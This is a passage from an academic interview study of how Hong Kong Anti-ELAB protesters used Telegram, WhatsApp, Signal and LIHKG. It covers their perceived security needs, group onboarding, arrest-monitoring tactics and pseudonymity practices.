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movements across the globe. The perceived analogue and digital tactics developed in Hong Kong have
been imitated by protesters elsewhere, often with a direct reference, see e.g. [Pur19, Chu20, Hui19].

Contributions. We develop a grounded understanding of (perceived and actual) security needs and
practices among Anti-ELAB protesters through in-depth, semi-structured interviews with 11 partici-
pants from Hong Kong. Through an inductive analysis of these interviews, research findings were
synthesised into five main categories. We outline these in Section 3.4 – the tools used by Anti-ELAB
protesters and the reasons for their adoption (Section 3.4.1), the role these tools play for the organisa-
tion of these protests (Section 3.4.2), the tactics used to detect and mitigate compromises through
arrests (Section 3.4.3), the practices adopted to work around limitations of the tools relied upon
(Section 3.4.4) and the routes and negotiations through which protesters arrive at their understanding
and practice of security (Section 3.4.5) – before bringing these into conversation with information
security scholarship in Section 3.5, where we also identify open research questions, and concluding in
Section 3.6.

3.2 Related work

We position our research within studies on digital communication technology use by participants of
large protest movements, including existing work on the Anti-ELAB protests to establish pre-existing
understanding of their technology use, as well as scholarly work on higher-risk users.

3.2.1 Large-scale protests and digital communication

The importance of digital communication technology in large-scale protests is well documented in the
social science literature, focusing in particular on the significant contribution of social media platforms
to the mobilisation of social movements [Cas12, Coo11, DL15, Ems14, LC10, MNP18, MJHY15,
Shi11, VLVA10]. They also highlight the critical role that digital media play in the organisation and
coordination of large-scale protests, e.g. Occupy Wall Street and the Arab Spring [AG15, Fuc14,
HH13, Kav15, Nie13, Tre14, TW12]. Yet, there is consensus in the literature that while the ability to
form online networks can support mobilisation and organisation efforts, it is neither the sole driver
nor the underlying cause.

Scholars also note how digital communication technology enables new networks and movement
formations. For example, Bennett and Segerberg [BS12] describe a form of protest movements not
reliant on resourceful organisations, but driven by personal online content and communications –what
they call “connective action”. Others, e.g. [Cas12, Kav15, MJHY15], highlight how digital technology
enables the formation of decentralised networks among groups in different locations, through collective
action. These movements are able to attract large numbers of participants, partly because they are
supported by digital infrastructures [LC16]. Studies have also suggested that people “self-mobilise”
online before taking part in protests [Har12, Lee15, SPLT11]. Finally, digital technologies are often
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used to facilitate on-the-ground organisation, information sharing and communication between
protesters – what Treré [Tre15, Tre20] calls “backstage activism”.

Messaging applications. Some studies explore the use of messaging applications in distinct resistance
movements and protest environments. For example, Uwalaka et al. [URW18] considered the use of
WhatsApp in the 2012 Occupy Nigeria protest, Gil de Zúñiga et al. [GdZAACR19] and Valeriani
and Vaccari [VV18] studied messaging applications in activism and political organisations, while
Treré [Tre20] showed how WhatsApp is used for everyday activities and organisation by protesters
in Spain and Mexico. Similarly, Haciyakupoglu and Zhang [HZ15] found that in the Gezi Protests
in Turkey protesters relied especially on WhatsApp to circulate information within the protest area.
Messaging applications have also been linked to the spreading of rumours and incitement to violence.
For example, Mukherjee [Muk20] explored the use of WhatsApp in mob lynchings in India and
Arun [Aru19] linked the spreading of rumours via WhatsApp to them. Tracking and hacking on
digital communication platforms are also used by private and state actors to counter opposition
movements and to suppress dissent [McL16, Lab19].

While such prior works do not consider (information) security in particular, they provide broader
context and in some cases surface security-related findings. For example, the importance of trust in
information, technology and social media networks is explored in [HZ15, LC16] and Tsui [Tsu15]
studies digital technology use and protection from state surveillance efforts, while Sowers and Toens-
ing [ST12] engage with wider security concerns such as threats to protesters from authoritarian and
violent regimes.

3.2.2 Anti-ELAB protests

The protests responded to the Hong Kong Government’s attempt to pass an Extradition Law Amend-
ment Bill [Lee20, LYTC19]. Hundreds of thousands of people took to the streets, where networked
groups of protesters organised mass rallies and strikes, boycotted pro-Beijing businesses, barricaded
streets, stormed public buildings including the Legislative Council Complex, occupied traffic hubs
and seized university campuses [Hol20]. Recent studies have emphasised the centrality of digital
and mobile communication technology to facilitate these large, dynamic and highly mobile protest
activities; with tactics often referred to as “be water” and “blossom everywhere” [Hal19]. Such tactics
meant that the protests emerged from the ground up among activist networks in a nonhierarchical, di-
versified fashion, relying on spontaneous initiatives rather than top-down leadership and organisation.
In general, this served two purposes. While it provided protection from prosecution of individual
protesters and police detection, it gave rise to fluid, horizontal communication within and between
dispersed groups of protesters [Hol20]. These tactics were partly rooted in protesters’ experiences
from the 2014 Umbrella Movement in Hong Kong, where high-profile protesters were arrested and
imprisoned, and which were also supported by digital modes of participation that enabled, for example,
real-time coordination of “improvisatory acts” [LC16].
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The Anti-ELAB protests are widely considered to have been “innovative” in their tactics, particu-
larly the interaction between “front line” protesters and others. A frontliner, roughly, is someone
engaging in activities that risk direct confrontation with law enforcement [Chu20]. An example of a
collaboration between frontliners and others are ride sharing schemes where car owners picked up
frontliners to transport them out of the protest area because public transport was deemed unsafe or
shut down [Wu19]. These schemes were run via public online groups that connected protesters with
drivers.

Existing scholarship reveals little about the security considerations of Anti-ELAB protesters. Ting
[Tin20, p.363] notes that networked protesters used “encrypted messaging app Telegram and mass
Airdrops over Bluetooth” to coordinate protest activities, and that WhatsApp and Signal were used
to share protest information and to request supplies. Ku [Ku20] points to the mobilisation of Hong
Kong youth activists through Telegram and the Reddit-like forum LIHKG, while Kow et al. [KNC20]
show how “hundreds of groups” on these two platforms were used to mobilise the protests through
polls and the ability to act anonymously. Importantly, however, none of these studies engaged with
protesters, but relied solely on interpretative analyses of social media posts, forum posts and/or wider
discourses.

3.2.3 Higher-risk users and secure communication

Looking beyond large-scale protests, our research ties in with other qualitative works exploring the
security concerns of higher-risk users. The use of secure messaging by higher-risk users is considered
in [EHM17, HEM18]. Through interviews with human rights activists and secure messaging applica-
tion developers, this chapter outlines common and diverging privacy and security concerns among
these groups. They found that while developers aim to cater to higher-risk users, the (perceived)
security needs of these groups of users are not well understood and thus not well served. Similarly,
in [AGRS15] the authors discuss the divide between activists and technologists. They advocate that
“security engineers [. . . ] step into the language of collective action within a political project” to
produce solutions that cater to the decidedly collective needs of activists and contrast this with a
prevalent practice where “in the absence of far away users under threat, designers can invoke them at
will and imagine their needs” [AGRS15].

The security needs of marginalised groups have received renewed attention from information security
academics due to an invited talk by Seny Kamara at CRYPTO 2020 [Kam20, New20]. In this talk,
Kamara characterises “Crypto for the People” as “concerned with fighting oppression & violence
from Law Enforcement (Police, FBI, ICE), from social hierarchies and norms, from domestic ter-
rorists” [Kam20] and contrasts it with a libertarian-inspired concern for personal freedoms. More
broadly, studies have explored security for civil society groups [SR16], the security and privacy needs
of journalists [LZR17, MCHR15, MRC16], privacy concerns among transgender people [LHK+20],
protection practices by Sudanese activists [DSKB21], fundamental security challenges experienced
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by refugees [CKJ19, CKJT18, JCKT20, SLI+18] as well as undocumented migrants [GMS+18]. Like
many of these prior works, our work suggests that the population we study has distinct (information)
security needs that must be understood in order to design security technologies that meet those needs.

3.2.4 Preliminaries on technologies

Here, we describe the technologies referenced by the participants of our interviews, outlining the
features and properties that they had at the time when the interviews were conducted.

LIHKG is a Reddit-like forum that allows posts only from users with email addresses originating in
Hong Kong (see [Ku20]). Signal and WhatsApp are messaging applications that use phone numbers
as contact handles and perform end-to-end encryption by default on all chats. Both applications
support one-on-one chats as well as private group chats of up to 1,000 and 256 users respectively.1

Telegram is a messaging application that offers the option of end-to-end encryption for one-on-one
chats only and supports public and private groups of size up to 200,000 as well as public channels
with an unlimited number of subscribers. Telegram requires a phone number for registration but
allows this to be hidden from other users.

Facebook Messenger is a chat service connected to Facebook, offering optional end-to-end encryption.
On the technology level, Telegram makes roughly the same security promises as Facebook Messenger
with respect to confidentiality – with its bespoke MTProto protocol taking the role that TLS plays
for Facebook – but it makes it easier to adopt a pseudonym.

Signal and Telegram secret chats allow users to send disappearing messages which are deleted by the
sending and receiving application after a certain time has passed (five seconds to one week). WhatsApp
has recently enabled this option but has a fixed timer of one week.2 Telegram also supports scheduled
messages to be sent at a later date and time, before which the sending of the message can be cancelled.3

Further, Telegram allows a user in a one-on-one chat to delete messages for the other party, and a
group administrator to delete messages for all group members. Neither WhatsApp nor Signal used to
support this feature.4 Telegram supports conducting anonymous polls in groups and channels.

Life360 is an application that allows remote monitoring of a phone – e.g. location, remaining battery –
that describes itself as a “family safety service” [Lif20] but is mostly known for being invasive [Ohl19].
WhatsApp and Telegram also support live location sharing with another user for a period of time.

1As of May 2023, WhatsApp has increased the maximum number of users in a group chat to 1,024.
2As of May 2023, WhatsApp offers 24 hours and 90 days as additional options.
3The messages are scheduled on the server and thus will be sent even if the user goes offline afterwards.
4As of May 2023, Signal includes limited support for message deletion for everyone (only the sender can delete their own

messages, within three hours of sending) [Sig20], and WhatsApp supports the same feature with a time limit of two days.
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3.3 Methodology

In this section, we outline our methodology, which is based on a qualitative research design and a
grounded approach [Cha14, HKM17], and informed by existing social movement research (see e.g.
[BT02]).

3.3.1 Semi-structured interviews

Semi-structured interviews were chosen due to their exploratory nature; they are sufficiently structured
to provide consistency across interviews and to address particular research questions, while leaving
space for participants to offer new meaning to the topics (see e.g. [Gal13]).

Interview process. Informed by a topic guide (Appendix A), the interviews explored the use of
communication technology within the protest environment and how protesters’ security needs and
practices shaped this use. Each interview covered topics such as communication technology use in
Hong Kong, including specific platforms and applications as well as security concerns related to this
technology use. The first two topics covered in the interviews deliberately did not focus on security,
as it was important not to “force” a security angle. However, all participants mentioned specific
security concerns related to their use of technology before we asked about them. This is not surprising,
since information provided to participants prior to the interviews included information about the
broader research focus and the composition of the research team. Moreover, the adversarial context
foregrounded security concerns. Interview questions were intentionally broad to ensure that the
research remained exploratory. This is an essential aspect of qualitative research, which works in the
context of discovery and therefore emphasises openness and depth. The interviews were conducted
by one member of the research team, between December 2019 and July 2020, as outlined in Table 3.1.
Interviews were conducted remotely in English.

Participants and recruitment. 11 participants from Hong Kong (P0-P10), all of whom had either
primary or secondary experience of the protests, were recruited. All participants had attended at
least one Anti-ELAB protest and were all members of protest-related online groups. The distinction
between primary and secondary denotes front-line protest experience. Participants self-reported as
“only” having secondary experience, because they had not been on the front line of a protest and
were therefore less likely to have direct confrontation with law enforcement, while participants with
primary experience had.

The protection of participants was our priority at all stages of the research. Initially, we only contacted
publicly-known figures in Hong Kong, which led to three initial interviews. We then reached out to
potential participants through two local gatekeepers,5 who shared our contact details and a participant
information sheet (PIS) with potential participants. The PIS outlined what participation would

5See e.g. [HA07, Ch.3] for a discussion on the use of gatekeepers for access.
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Table 3.1. Participants and interviews.

Participants Interview
ID Experience Duration Medium Timing

P0 Primary 82 minutes Audio December 2019
P1 Primary 43 minutes Audio December 2019
P2 Primary 64 minutes Audio February 2020
P3 Primary 51 minutes Video April 2020
P4 Secondary 47 minutes Audio April 2020
P5 Secondary 39 minutes Video June 2020
P6 Secondary 62 minutes Video June 2020
P7 Primary 73 minutes Audio June 2020
P8 Secondary 53 minutes Video June 2020
P9 Primary 87 minutes Audio June 2020
P10 Primary 46 minutes Audio July 2020

We categorise participants’ protest experience as primary or secondary, with the former defined as having been on the
protest front line.

involve and how we would protect participant information. Gatekeepers were not involved in our
communication with participants and whether someone decided to participate was not shared with
them.

No specific selection or exclusion criteria were used to target individuals except for their primary or
secondary involvement in the Anti-ELAB protests. However, this was by no means a straightforward
recruitment process. We contacted more than 60 individuals linked to the protests and recruited 11.
There are a number of reasons for this. First, the sensitive nature of the research and the importance
of anonymity for protesters made it difficult to identify and recruit individuals with relevant protest
experience. Second, parts of the research coincided with China passing a new national security law for
Hong Kong, which also imposes restrictions on engaging with “external elements” [SCM20]. Thus,
many of our contacts declined to participate for safety reasons. Third, COVID-19 meant that travel
to Hong Kong to engage with protesters was not an option. Hence, all engagements were carried out
online.

Human subjects and ethics. All of our activities were approved for self-certification through
our institution’s Research Ethics Committee before the start of the research. Given the high-risk
environment, and since our priority was to protect participants, we made sure to design our study in a
way that minimised the collection of personally identifiable information. We recommended encrypted
and ephemeral modes of communication, but followed participants’ preferences, while using burner
devices and anonymous accounts on our end to limit potential attack surfaces. Interviews were carried
out by one researcher and were not audio recorded. With explicit consent from participants, extensive
interview notes – verbatim where possible – were captured by the researcher. These were transcribed
and stored on an encrypted hard drive.6 To minimise risks to participants and researchers, we

6Transcripts are retained for one year after publication and then destroyed.
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compartmentalised internally and only the researcher who carried out and transcribed the interviews
had access to the raw data. Participants were not required to make their names known to us and we did
not record any personal details in our interview notes. We do not report demographic information
such as age or gender, nor do we report participant locations or their employment status. This is to
protect their anonymity. Finally, participants were not compensated for taking part.

3.3.2 Data analysis

Interviews were analysed through an inductive analytical process, where the same (one) researcher
coded the data through three coding cycles using NVivo 12 [Int20]. The first cycle used open coding
and produced a range of descriptive codes, which were grouped in the second cycle to produce axial
codes [Sal15]. In the third coding cycle, the core variables in the data were identified and selective
codes were produced and grouped into categories [RR95]. This form of analysis is employed to
identify and analyse patterns across a qualitative data set, rather than within a particular data item,
such as an individual interview. At the final stage of the analysis, technological implications were
explored by the entire research team.

Limitations. A number of limitations should be taken into account when interpreting our findings.
First, our study was limited by the difficulties we experienced in engaging participants in our research,
as outlined in Section 3.3.1, and research findings might have captured other practices if further
interviews had been conducted. Yet, the semi-structured nature of the interviews was chosen to
provide depth rather than scale. Moreover, the analysis suggests that coding saturation was reached.
Second, conducting interviews online limited the researcher’s ability to observe the participants’
physical settings, which might have affected their ability to speak freely. Third, some protesters,
who declined to participate, might have been particularly concerned about security. Fourth, while
participants spoke fluent English, it might have been possible to recruit a broader selection of
participants if interviews had been conducted with the assistance of a translator.

Finally, there is an inherent bias in interview-based research, particularly when it concerns security or
technology questions, given that participants self-select to take part. Some contacts decided against
participation because they did not feel that they knew enough about the technologies they were using.
This limitation is not unique to this study, but mirrors other technology-focused interview-based
studies; they are inherently biased towards the more tech-savvy end of the population being studied,
such as security trainers or attendees of IT security trainings. Future work should consider adopting
ethnographic methods of inquiry to overcome this limitation.

3.4 Research findings

Our research findings are structured into five subsections: Section 3.4.1 focuses on the technologies used
by protesters and why, Section 3.4.2 shows how these technologies interact with the social organisation
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of the protests, Section 3.4.3 discusses tactics for detecting and reacting to arrests, Section 3.4.4 shows
how protesters address the limitations of the technologies they rely on, and Section 3.4.5 focuses on
how and from where protesters develop ideas about their security.

3.4.1 Tools

Internal communication between Anti-ELAB protesters was mainly done through two messaging
applications: Telegram (predominantly) and WhatsApp, with most protesters joining dedicated
protest-related groups on both applications.

Telegram was used by all participants and dominated our findings. One participant summarised
Telegram as “the most useful platform, followed by WhatsApp” (P0), while another expanded: “For
communication and organisation, most people use Telegram” (P6). Participants observed that its popu-
larity in the protests was based on three conditions: (1) its widespread adoption prior to the protests,
(2) its security, which was perceived to be better than any other messaging application and (3) the
ability to form both large and small groups. Telegram’s polling feature emerged as another reason for
adoption as well as various of its features used to monitor fellow protesters for arrest, as discussed
in Section 3.4.3. Participants understood Telegram to give them the “most security” in group chats
(P0). As explained by one participant: “We have a group on WhatsApp and another one on Telegram,
but we use the one on Telegram to talk about our actions [. . . ], because we think Telegram is more secure”
(P9). One participant (P5) noted that, although end-to-end encryption was not the default setting in
Telegram group chats, this could be enabled. This is incorrect (see Section 3.5.3) and demonstrates
how an incomplete or, as in this example, incorrect understanding of security might shape participant
perceptions.

WhatsApp was also used by the majority of participants in our study and they assumed that this would
be the case for others too: “most protesters use WhatsApp too, yes definitely” (P3). Yet, WhatsApp was
seen to be less suitable compared to Telegram because it only allows for groups of up to 256 members.

While Signal was brought up by several participants without prompting, our data suggests that it
has not seen any significant adoption among Hong Kong protesters. Participants highlighted the
discrepancy between what they perceived as their security needs and what is offered by Signal. First,
the need to provide a phone number was seen to conflict with the need for anonymity to avoid police
detection: “the reason we don’t use Signal is because Signal requires that you know the telephone number
of the other people if you want to make a contact” (P7) and “The thing is, people in Hong Kong cover
their faces when they go out to protest. They want to be anonymous. So, if you have to then give your
phone number, it doesn’t make sense” (P7).7 When asked whether they would consider using burner
SIM cards to use Signal, they responded that the benefits would not outweigh the risks. Second, the
function of being able to delete messages sent by other group members was key for protesters: “You
cannot tell people to use Signal instead of Telegram, because that’s not realistic and also Signal is horrible

7Anti-ELAB protesters defied the ban on wearing face masks that was introduced in Hong Kong in October 2019 [BV19].
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at other things that the protesters need. For example, you cannot control what happens to your messages
once you have sent them. You can just use disappearing messages” (P6). Thus, participants in our study
compared the security offered by Signal to Telegram – not to WhatsApp – when making decisions
about which tools to use.

While WhatsApp also requires phone numbers, it was already widely used by participants before
the protests and they felt confident and, as a result, secure using a tool with which they were already
familiar. Where Telegram catered to their need for anonymity in large group chats, WhatsApp was
used for small close-knit groups, where anonymity was not a security need. Hence, Signal was not
seen to provide them with additional security or required key functionality.

3.4.2 Social organisation

Our work speaks to the utility of groups on messaging applications for on-the-ground protest organi-
sation enabling collective practices, strategies and tactics – and to related security requirements. Here,
we discuss such practices and show how different types of groups, characterised by their size, imply
different, at times opposing, security requirements.

Group types. Two types of groups were identified in the data: large Telegram groups, sometimes
with 2,000, 20,000 and 50,000 members and small(er) groups on both Telegram and WhatsApp. The
former comprised public groups set up to disseminate protest information across large networks,
facilitate collective decision making and reach and connect disparate groups. The latter were formed
around more or less close-knit groups of protesters.

All participants in our study were members of several Telegram groups; some small groups, made up
of people they had met during the protests, and some large groups, which they predominantly used for
information-gathering purposes. This divide also mirrors the division between participants’ protest
experience; those with only secondary experience had never been part of small protest groups, but were
in several large public Telegram groups. Participants with primary protest experience were members
of both types of groups. All participants, regardless of protest experience, gave examples of how they
knew that the large Telegram groups were infiltrated by e.g. local police officers, who monitored
the groups to gather information about protesters and protest strategies. Several participants also
reported deliberate attempts to undermine the protest efforts in these groups by presumed infiltrators.
While there was general consensus among participants that the disruption caused by these infiltrators
was minimal, it highlights an important aspect of big group chats: all participants accepted that
confidentiality could not be achieved in these large groups, while they assumed that it could be
achieved in the smaller groups. However, large groups were essential for the successful organisation
of protest activities because of their scale and reach – and crucial for the collective actions that they
facilitated, such as joint decision making.

For all participants with primary protest experience, being able to organise quickly and securely was
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the key motivating factor behind having smaller rather than larger groups. The large groups were run
by dedicated administrators (see Section 3.4.2), while the small groups were formed “quite organically
and not that organised” (P5). Each small group, however, had its own identity, its own utility. One
participant explained this by drawing on two groups, one with 26 members on Telegram and another
one with six members on WhatsApp: “there are still some differences between those 26, because I met six
of them and formed a small team. But the other 20 joined later. So, actually, those 20, I haven’t met them
before, face-to-face. We have the WhatsApp group, only the six of us. And on Telegram we have the 26” (P2).

Strategies and tactics. The importance of secure messaging applications for protesters has already
been articulated in previous works, e.g. [EHM17, GdZAACR19, HEM18, Tre20]. In the Anti-ELAB
protests, such applications more specifically cater to the particular strategies and tactics employed by
protesters: a flat structure, mobile, dynamic and large-scale in nature. All participants in our study
explained how the ability to collectively decide on strategies and tactics in real time across large and
geographically dispersed protest sites was essential to the success of the protests. One participant
articulated how Telegram provided a “safe online space” to collectively decide specific actions: “we use
Telegram to talk about our actions, our equipment, our strategies, our tactics” (P2). Another participant
spoke about how Telegram enabled immediacy, which was needed when tactics had to be altered
during a protest: “during the protests themselves, the information is more related to strategy, like, what
to do right now” (P5). Both quotes highlight the sense of urgency felt by participants when talking
about sharing tactical information during protest actions.

Several other participants expressed a sense of information overload given the volume of information
being shared during protests. This often made it difficult for them to keep up with evolving protest
tactics. One participant noted: “When protests are actually taking place, the groups are much more active,
there’s information all the time and it’s difficult [. . . ] to know what the strategy is” (P9). Such statements
exemplify the challenges experienced by protesters when faced with multi-directional and extensive
information in both adversarial and highly digitalised environments: “it’s hard to keep track of stuff”
(P10). All participants with primary protest experience spoke of how they would have to make
tactical decisions within seconds when receiving information about police locations or new gathering
points. For many, this meant deciding which groups to “keep open and which to close” (P7) while
participating in protest activities, hence, limiting the information they would have to digest.

Collective decision making. Protests are by their very nature a collective endeavour and the mobili-
sation of protesters has been the topic of many recent works, as identified in Section 3.2.1. However,
beyond mobilisation, our data reveals how Telegram and LIHKG were used to make collective
decisions about protest tactics, in real time.

Several participants in our study exemplified how large Telegram groups were used to vote on “the next
move”, as explained by P7, while LIHKG was used to vote and decide on broader protest strategies at
the start of the protests. “This forum called LIHKG. We used it for strategy and stuff. Like in Reddit,
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people can vote [. . . ] And we used it because you can only register with a Hong Kong email provider”
(P9). These features – collective and limited to people with a Hong Kong email account – made
LIHKG a central platform early on in the protests. One participant suggested that it enabled “nuanced
discussions about strategy and to vote on strategy” (P5). Yet, many participants noted that, over time,
the organisation of on-the-ground actions “couldn’t be done on the forum because the police is monitoring
it” (P9). Thus, for real-time voting on tactical moves during protest actions, protesters had moved to
Telegram groups, where polls on, for example, “where to go next” (P10) often received several thousand
votes. While all participants in our study also assumed police monitoring of the public Telegram
groups, the speed with which collective decisions could be executed made police infiltration less of a
concern. Forums were, on the other hand, generally seen to be slow and not suitable for live protest
action.

One participant explained how the voting worked best when only a few options were given, enabling
protesters to make a “simple choice between A or B” (P3). However, based on our data, we see that the
option with the most votes is rarely followed by everyone. Given the anonymous nature of these
groups and of the polls – and since anonymity was a key security need for Anti-ELAB protesters – it
is unclear who votes in these polls. The scale of these groups was, however, critical for the success of
the protests for two main reasons: it established a strong sense of collective decision making which,
in turn, meant that no single person was seen to be publicly leading the protests. For the protesters,
this had a security function as well, as it was seen to spread the risk of arrest to several thousands of
people; to everyone who voted.

Group administrators. The centrality of protest groups on messaging applications meant that group
administrators occupied key positions in the protests. Without public leaders, our data suggests
that group administrators were seen as the leaders of the protests. While not directly articulated
by the participants in our study, many of them spoke to the multiple and critical roles performed
by group administrators and the trust that protesters placed in them. Importantly, however, group
administrators remained anonymous leaders, hiding their identity to avoid police detection. Moreover,
most groups had several administrators to “spread the risk [for the group] to more than one person if
one admin is compromised” (P9), allowing non-compromised group administrators to revoke the
administrator capabilities of those compromised. The same administrator also often managed several
groups at the same time through different accounts.

Our data contains several examples that support the interpretation that administrators took the role
of leaders. One participant noted: “We have groups for voluntary medical support, and we have many
groups for legal support. So, the whole protest, without leaders, is organised by these group administrators”
(P9). This mirrors how many participants experienced the protests themselves: as a decentralised
movement, with “many people who lead but no organisation” (P3) or “flat but not leaderless” (P2).

To illustrate the central role of administrators, we use an example that was recounted by all participants
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in our study: a voluntary ride-sharing scheme. This was critical to get protesters (frontliners in
particular) to/from protest sites, as using public transport was “too dangerous for protesters because the
police go to public transport to attack and arrest people” (P3). However, many participants noted that
the scheme required protesters to trust the administrators of the groups through which the scheme
was run and their vetting procedures, which relied on drivers sharing their licence details with the
group administrator(s). This was a way for them “to verify the driver’s identity before referring them to
the protesters” (P2). When a protester requested a driver through the group, the administrator would
“link up the car/driver and me as a protester. We don’t know the driver or the administrator, but we know
the licence number” (P7). Some participants noted that while administrators would try to verify the
driver’s identity before referring them to protesters, they knew of several examples of undercover
police officers pretending to be drivers, resulting in arrests. Still, participants with primary protest
experience had all used this scheme and said, in different ways, that they had no choice but to trust.

Onboarding practices. The practice of establishing close-knit groups on Telegram andWhatsApp led
to a number of security constraints for protesters, which centred on the need to establish trust within
highly digitalised and adversarial environments. All participants with primary protest experience
noted how their groups had developed particular onboarding practices rooted in interactions at sites
of protests. This was seen as necessary to verify the identity of any newcomer to the group and
ensure trust among group members. Based on the experiences of the participants in our study, specific
onboarding practices were adopted for both Telegram and WhatsApp groups with between five and
30 members.

Our data shows how small close-knit groups were formed around protesters who had met face-to-face
during the protests “before moving the connection online” (P4), as “seeing each other and standing on the
front line together is very important for trust” (P10). These trust bonds were described to be established
through shared aspirations and were seen to be key for the success of the protests as they enabled
affinity groups to form and carry out essential tasks, e.g. provide legal or first aid. This was supported
by another participant, who noted that it was important for their group that any new members
supported their faction: “So we see them in person first and we then also know that they are chanting the
right slogan” (P9). Participants also explained how offline connections would only be moved online
once rapport had been established with new group members. Our data suggests that, for most groups,
this form of gradual onboarding to establish trust sometimes took weeks and sometimes months.

We unpack this collective process by using an example given by one participant, who belonged to two
small affinity groups. They explained: “First, we have to meet them face-to-face. It’s not that you just
meet them and then add them, it’s about values and beliefs and aspirations. We want those newcomers to
work with us in the field several times first. If they share the same beliefs and aspirations, they can officially
join our Telegram group” (P0). For the close-knit groups, where specific protest activities related to
the group would be discussed (what protesters deemed “sensitive information” ), all existing group
members would have to meet any new group members before they would be allowed to join.
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Our data contains some examples of specific onboarding processes where some group members had
been unable to meet a new group member. This would then become a negotiation between existing
group members: “someone in the group will say ‘I know a person who might be able to contribute to this
group’, and there will then be a short discussion and then a decision” (P3). Participants noted that while
this was not “bullet proof” (P10), it was also important for them – and for the success of the protests –
to accept group members who they thought would be able to contribute to their efforts. However,
this form of onboarding was accompanied by a level of distrust for some participants, who would
insist on meeting all potential group members before accepting them into the group: “I would want to
meet all group members in person first, before accepting them” (P1). As expressed by another participant:
“ Sometimes you have to make a choice, even if you haven’t got enough manpower, you only recruit people
who you trust” (P10). The main concern was articulated as “potential infiltration of police” (P7). This
was a common worry expressed by participants and was connected to their experiences with large
Telegram groups, where police infiltration was explained to have led to several arrests.

3.4.3 Indicators of compromise

Our data demonstrates that the threat of arrest during a protest and the subsequent compromise of the
arrestee’s close-knit affinity group was a key concern for participants. Our data shows that different
protest groups adopted subtly different approaches to monitoring each other while attending protests.
Our data also suggests that this was a widely adopted collective (security) practice for Anti-ELAB
protest groups.

Our data contains three approaches to monitoring: the use of specific monitoring applications,
scheduled messages or regular messages. The use of specific live-tracking applications was practised
by several participants and comprised a system whereby when some group members went onto the
street, the rest of the group would be responsible for monitoring their whereabouts using WhatsApp
or Life360. Some participants explained how they would use both applications simultaneously to
ensure that they would be able to receive constant updates. This was seen as particularly useful to
determine whether a group member had been arrested: “There are some signals that tell me that the
person got arrested. For instance on the live location, if they disappear from the map then I know something
is wrong [. . . ] if I know they have battery and suddenly disappear then I can call them. If no-one picks up
the phone for a long time and we can’t find them in the field, then we will track their last location. And
then we know whether they have been arrested” (P1).

Another participant detailed their group’s approach to live monitoring, which relied on regular
messages: “If my friends go out in the protest, I’ll stay up and every hour I’ll text and ask ‘are you safe?’ And
if they don’t respond within two-three hours I’ll assume that they are arrested” (P3). The same participant
reported that “there’s a feature in Telegram that allows you to periodically send out a message. So, it does
something automatically periodically – so these pings are exchanged among a group and if you see that
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someone isn’t responding to the ping, then probably something bad has happened” (P3).8 Another group
used timed or scheduled messages to alert group members should their phone be inactive for a period
of time: “we use timed messages, so others know that if they receive the message, I’m probably arrested”
(P9). That is, protesters would schedule a message to be sent later and would cancel this scheduled
message once they returned from the site of protest. If they failed to cancel the message, this was
taken as an indication of a problem.

Other participants gave similar accounts and noted that these practices had been systematised within
many groups – and that groups had learned from each other – in response to a growing number of
arrests. For them, being able to monitor each other was seen as a way “to protect others when someone
gets arrested and also to provide legal assistance” (P3). For all participants in our study, this form of
monitoring was important to protect and support group members in the event of arrest: first, by
arranging for legal aid and, second, to control access to information about or related to other group
members. It is for this reason that the ability to delete messages sent by any member in a group was
seen as vital. In case of an arrest, the group administrator(s) were responsible for removing messages
from the arrestee’s device and to remove them from the group. This feature was seen as key: “I can
delete the messages for others, not only for myself” (P7); as allowing them to “control the conversation”
(P4) or to “control what happens to your messages” (P5) and to kick out anyone who had been arrested
and to delete all group messages – “so we can at least keep the others safe” (P2).

Our data highlights a number of concerns and conflicts raised by participants in relation to such live
monitoring practices. First, the concern that their live locations might become available to the police
showing that they had “committed crimes by being in locations they aren’t meant to be” (P7). Thus, this
appropriation of consumer applications with unclear privacy guarantees illustrates the limitations of
existing security technologies. Second, live monitoring through specific location-tracking applications
was also seen to limit participants’ control over access to data as it is not possible to delete the data in
Life360 or WhatsApp: “if a group member is arrested, the police can track the others via the app as we
cannot delete for others” (P2). More broadly, participants articulated how they would try out different
technologies to find “the best solution available” (P5), but also know that these did not serve their
security needs. We expand on this point in Section 3.4.5.

3.4.4 Limitations of technology

We present the additional practices adopted by protesters to address the limitations of the technologies
they use. Protesters spread their identities across different accounts and devices to achieve a level of
pseudonymity and a variety of low-tech tactics were adopted to handle congested networks.

Pseudonymity. All participants in our study spoke about how their involvement in the protests
had heightened their focus on personal and information protection. For participants, particularly

8This is not a feature included in Telegram as described, but note that bots [Tel21b] may be used for this purpose as
they allow to expand the functionality of the application when added to a chat.
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those with primary protest experience, any personal information was considered sensitive. In security
terms, their (online) identity was closely tied to their protest activities, driving a growing need for
pseudonymity: “protesters make their profiles private, they use a separate SIM card, they use pseudonyms
and so on” (P6). Several participants explained how protesters had “a separate phone when [they] go
out and a separate SIM card” (P4) and how they had “another group with a different number which is
attached to a different SIM card and completely isolated from the usual groups” (P2). This separation
between protest groups and phone numbers was seen as a key mechanism for protecting individual
anonymity and to go undetected by the police: “So, that’s why we don’t want to give out phone numbers,
even with burner phones” (P9). Another participant articulated how they, along with other group
members, had several phones and other devices as well as several accounts on different applications.
This is in addition to several protesters sharing one account, which was said to be done to ensure that
others “won’t know they are not the same person” (P10).

These desires to protect their identity and the identity of group members, combined with what many
participants referred to as increasing surveillance measures by Hong Kong authorities, were articulated
as causing a critical need for anonymity. This need was also linked to the popularity of Telegram as a
protest tool in Hong Kong: “I think Telegram is particularly good because it allows you to stay anonymous”
(P5). Yet, participants also noted how the “move to Telegram” had created a “conflict between trust
and anonymity” (P9) because they were no longer able to “look at people’s Facebook profiles” (P7) to
establish their identity; a practice that was used extensively during the 2014 Umbrella Movement.
Hence, online vetting of potential group members had become impossible.

Disconnected discontent. All participants with primary protest experience had also experienced
being disconnected, due to network congestion, while taking part in protest activities. They explained
how they had found alternative ways of communicating with other protesters. These took different
forms.

First, some participants with primary protest experience articulated how they relied on interactions
with other protesters in the street, which enabled them to develop and use hand signals to pass on
messages: “Sometimes it’s just much easier just to wave or communicate using some hand gestures, when the
network is down” (P10). Participants gave specific examples of this form of non-verbal communication.
They noted that hand signals were often used to communicate which supplies were needed on the
front line: “If you see someone doing a cutting motion with these two fingers [index and middle fingers]
you know that scissors are needed” (P9). Arms orbiting the head was said to indicate that helmets were
needed on the front line (P7). Second, some participants spoke about how they would go to places
with WiFi facilities to try to send messages during the protests. Yet, this approach was only adopted at
critical points when they saw no other ways of communicating. Third, some participants noted how
they would “revert” to using SMS, at times when they could not connect to the Internet. Exemplified
